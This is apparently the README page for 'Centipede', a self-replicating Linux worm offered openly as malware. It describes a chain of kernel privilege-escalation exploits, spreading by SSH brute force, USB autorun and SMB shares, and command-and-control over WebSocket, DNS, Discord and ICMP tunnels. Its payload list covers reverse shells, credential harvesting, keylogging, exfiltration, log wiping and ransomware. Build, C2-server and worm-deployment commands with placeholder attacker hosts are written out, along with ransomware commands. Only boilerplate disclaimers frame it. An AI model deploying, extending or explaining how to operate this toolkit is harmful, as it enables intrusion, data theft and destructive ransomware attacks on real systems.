Centipede | churchofmalware.org

Self-replicating Linux worm with multi-layer C2 communication, privilege escalation via kernel exploits, dark web command interface, Discord fallback, and a full payload suite for post-exploitation operations.

DISCLAIMER: For authorized security testing and educational purposes only.

centipede/
├── cmd/
│   ├── centipede/          # Worm implant binary
│   └── c2d/               # C2 server daemon
├── internal/
│   ├── scanner/           # Network discovery and WiFi scanning
│   ├── exploiter/         # Kernel exploit delivery and LPE chaining
│   ├── replicator/        # Self-propagation across SSH, WiFi, USB, HTTP, SMB, CVE
│   ├── c2/                # Multi-layer C2 client with fallback
│   ├── payloads/          # Post-exploitation payload suite (13 payloads)
│   ├── sensor/            # Environment fingerprinting and sandbox detection
│   └── common/            # Cryptographic and system utilities
├── web/                   # Dark web C2 dashboard
│   ├── static/css/        # Dark theme stylesheet
│   ├── static/js/         # Dashboard application logic
│   └── templates/         # HTML template
├── Makefile
└── README.md

Architecture

Vulnerability Exploitation

The worm carries multiple kernel privilege escalation exploits that chain automatically:

Exploit	CVE	Kernel Range	Architectures	Notes
DirtyFrag	CVE-2026-43284 + CVE-2026-43500	4.x - 6.x	x86_64, AARCH64	IPsec ESP + RxRPC UAF chain. Original dirtyfrag implementation
Fragnesia	CVE-2026-43284 + CVE-2026-43500	4.x - 6.x	x86_64, AARCH64	Dirtyfrag variant with different memory layout and exploitation path. Covers cases where original dirtyfrag fails
Copy-Fail	CVE-2026-31431	5.x - 6.x	x86_64, AARCH64	AF_ALG/algif_aead page-cache write via splice primitive. Unified payload for both architectures (thanks Jakeswiz for extending architecture support for copyfail)
Dirty Pipe	CVE-2022-0847	5.8 - 5.16	x86_64, AARCH64	Direct pipe write to overwrite read-only files
PwnKit	CVE-2021-4034	All	All	pkexec argument injection on any distribution with pkexec installed
GameOverlay	CVE-2023-3269	5.x+	x86_64, AARCH64	Ubuntu overlayfs LPE
OverlayFS	CVE-2023-2640	5.x+	x86_64, AARCH64	Additional Ubuntu overlayfs LPE vector

The exploiter automatically detects kernel version, architecture (x86_64 or AARCH64), checks available kernel modules and capabilities, and chains exploits until root is obtained. DirtyFrag and Fragnesia run sequentially — if one fails due to kernel memory layout differences, the other may succeed. The unified Copy-Fail exploit includes both x86_64 and ARM64 payloads, making Centipede effective across cloud instances, Raspberry Pi botnets, and ARM-based servers.

CVE-Based Propagation

Once a host is compromised and root is achieved, the worm uses the same exploit chain as a propagation vector:

1. Scanner discovers hosts on adjacent subnets (ARP sweep, TCP connect scan)
2. For each discovered host with open ports, the replicator attempts to deliver the worm binary via:
3. HTTP PUT upload (if port 80/8080/443 is open and accepts PUT)
4. FTP anonymous upload (if port 21 allows anonymous write)
5. SMB write to ADMIN$ or C$ shares (if port 445 is open)
6. SSH key-based and password brute-force (if port 22 is open)
7. Once the binary lands, it autonomously runs its LPE chain to escalate privileges
8. The new compromised host continues scanning and spreading

This creates a self-sustaining propagation cycle independent of manual C2 intervention.

C2 Communication Layers

Four fallback communication layers in priority order:

1. WebSocket — Encrypted bidirectional channel to C2 server. Primary communication method.
2. DNS Tunnelling — Commands and responses encoded in DNS TXT queries. Bypasses HTTP/HTTPS filtering.
3. Discord Bot — C2 commands and results relayed through Discord via bot API.
4. ICMP Tunnelling — Data encoded in ICMP echo payload fields. Last-resort fallback.

All layers use end-to-end encryption with AES-GCM. The client automatically cycles through layers, falling back on connection failure and returning to higher-priority layers when connectivity is restored.

Self-Replication Vectors

• SSH Spread — Harvests existing SSH keys from .ssh/, known_hosts, and config. Copies binary and executes. Falls back to password brute-force with common credentials (root, admin, vagrant, ubuntu, pi, etc).
• WiFi Spread — Scans for open WiFi networks using iw and nmcli, connects to discovered access points, and scans the new network for accessible hosts.
• USB Spread — Detects writable removable media, copies binary with hidden attributes and autorun.inf.
• HTTP/FTP/SMB Spread — Attempts worm delivery via HTTP PUT, FTP anonymous write, and SMB ADMIN$/C$ shares.
• Lateral Movement — SMB and WMI propagation for mixed environments.

C2 Server

The C2 daemon provides:
- Dark web dashboard with real-time bot monitoring and activity feed
- Live WebSocket streaming for bot event updates
- Discord bot integration for command relay and result forwarding
- RESTful API for programmatic control
- Bot tagging and grouping for targeted command dispatch
- Command queue with execution tracking

Payload Suite

DISCLAIMER: For authorized security testing and educational purposes only.

Payload	Description
reverse_shell	Spawn reverse or bind shell on target
persist	Install via systemd, cron, .bashrc hooks, LD_PRELOAD
harvest	Extract credentials: /etc/shadow, SSH keys, env vars, DB configs, cloud credentials, Kubernetes configs
lateral	Inject SSH keys, scan known_hosts, discover orchestration infrastructure
pivot	Enable IP forwarding, SOCKS proxy, NAT masquerade
keylog	Capture keystrokes from input devices
sniff	Capture network traffic via tcpdump
enum	Full system enumeration: kernel, users, network, containers, cloud
exfil	Exfiltrate binary and harvested data via HTTP POST
wipe	Clear logs, history, journald, auditd, wtmp, randomize MAC
selfdestruct	Remove all traces, delete binary, and exit
ransomware	AES-256-GCM file encryption with operator-defined key. Key can be pre-set or auto-generated. Encrypts targeted file types across specified directories
ransomware_decrypt	Decrypt .centipede files using the same key used for encryption. Restores original files and removes ransom notes

Ransomware Payload

** Disclaimer extremly destructive!** must have authorization before using. proceed carefully.

The ransomware payload provides operator-controlled file encryption:

• Key Management: Operator provides a 32-byte (64 hex char) key via the key argument. If no key is provided, one is auto-generated and returned.
• File Selection: Encrypts files by extension (documents, media, archives, databases, certificates, configs, source code, cloud configs). Targets directories specified in dirs argument (defaults to /home, /root, /var/www, /etc, /opt, /srv).
• Encryption: AES-256-GCM per file with unique nonce. Encrypted files get .centipede extension appended.
• Ransom Note: Written to each targeted directory root.
• Decryption: ransomware_decrypt payload with the same key restores all files.
• Skip Protection: Already-encrypted .centipede files are skipped.

Usage via C2:

> ransomware key="" dirs="/home,/root"
> ransomware key="a1b2c3d4..." dirs="/var/www"
> ransomware_decrypt key="a1b2c3d4..."

Quick Start

Build

git clone https://github.com/ekomsSavior/Centipede
cd Centipede
make build

Start C2 Server

./bin/c2d -addr :8443

With Discord relay:

./bin/c2d -addr :8443 -discord-token "YOUR_BOT_TOKEN" -discord-channel "CHANNEL_ID"

Deploy Worm

With direct C2 endpoint:

./bin/centipede -c2 ws://YOUR_C2_IP:8443/ws/bot

With all fallbacks:

./bin/centipede \
    -c2 ws://YOUR_C2_IP:8443/ws/bot \
    -c2-dns c2.yourdomain.com \
    -c2-discord-token "TOKEN" \
    -c2-discord-channel "CHANNEL_ID" \
    -c2-icmp YOUR_C2_IP

C2 Dashboard

Access the dark web dashboard at http://YOUR_C2_IP:8443/. The interface provides:

• Real-time bot activity feed with live WebSocket streaming
• Command dispatch to individual bots, tagged groups, or all bots
• Payload selection and deployment with pre-configured options
• Exploit status monitoring with CVE details and kernel ranges
• Bot tagging and management

Configuration

Configuration file (/etc/centipede.conf):

{
    "c2_endpoint": "ws://c2.example.com:8443/ws/bot",
    "c2_dns_domain": "c2.example.com",
    "c2_discord_token": "YOUR_TOKEN",
    "c2_discord_channel": "CHANNEL_ID",
    "c2_icmp_target": "c2.example.com",
    "scan_interval": 300,
    "spread_interval": 300,
    "exploit": true,
    "replication": true,
    "masquerade": true
}

Command-line flags override config file values. The config file is read from /etc/centipede.conf by default.

Exploit Chain

DISCLAIMER: For authorized security testing and educational purposes only.

The exploit chain executes in order until root is obtained:

1. DirtyFrag (CVE-2026-43284 + CVE-2026-43500) — Kernel 4.x through 6.x. IPsec ESP + RxRPC UAF chain. Primary exploitation path.
2. Fragnesia (CVE-2026-43284 + CVE-2026-43500) — Kernel 4.x through 6.x. Dirtyfrag variant with different memory layout. Attempts when DirtyFrag fails due to kernel memory layout differences.
3. Copy-Fail (CVE-2026-31431) — Kernel 5.x through 6.x with algif_aead module. Unified payload for x86_64 and AARCH64. Uses AF_ALG + splice primitive to corrupt /usr/bin/su.
4. Dirty Pipe (CVE-2022-0847) — Kernel 5.8 through 5.16.
5. PwnKit (CVE-2021-4034) — Any distribution with pkexec installed.
6. GameOverlay (CVE-2023-3269) — Ubuntu kernels with overlayfs.
7. OverlayFS (CVE-2023-2640) — Ubuntu kernels with overlayfs.

Each exploit checks its preconditions (module loaded, file exists, kernel version range, architecture compatibility) before attempting. Failures are non-fatal and the chain continues.

Detection Evasion

• Sandbox environment detection before execution (CPU count, /proc/cpuinfo content)
• Process name masquerading as kernel threads ([kworker/u256+0], [jbd2/dm-0-8], etc.)
• Encrypted configuration blobs (no hardcoded strings in binary)
• Forensic cleanup payload wipes shell history, system logs, journald, auditd, and login records
• MAC address randomization on compromised hosts (root only)
• Configurable sleep intervals with jitter

Credits

Built by ek0ms

Special thanks to the exploit research community, especially JakeSwiz https://github.com/0xXyc/ (0xXyc) for the AARCH64 port of Copy-Fail and contributions to the Fragnesia dirtyfrag variant- https://github.com/v12-security/pocs/tree/main/fragnesia

MIT License Copyright (c) 2026 ek0mssavi0r / Church of Malware Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. USE AT YOUR OWN RISK. NO WARRANTY PROVIDED.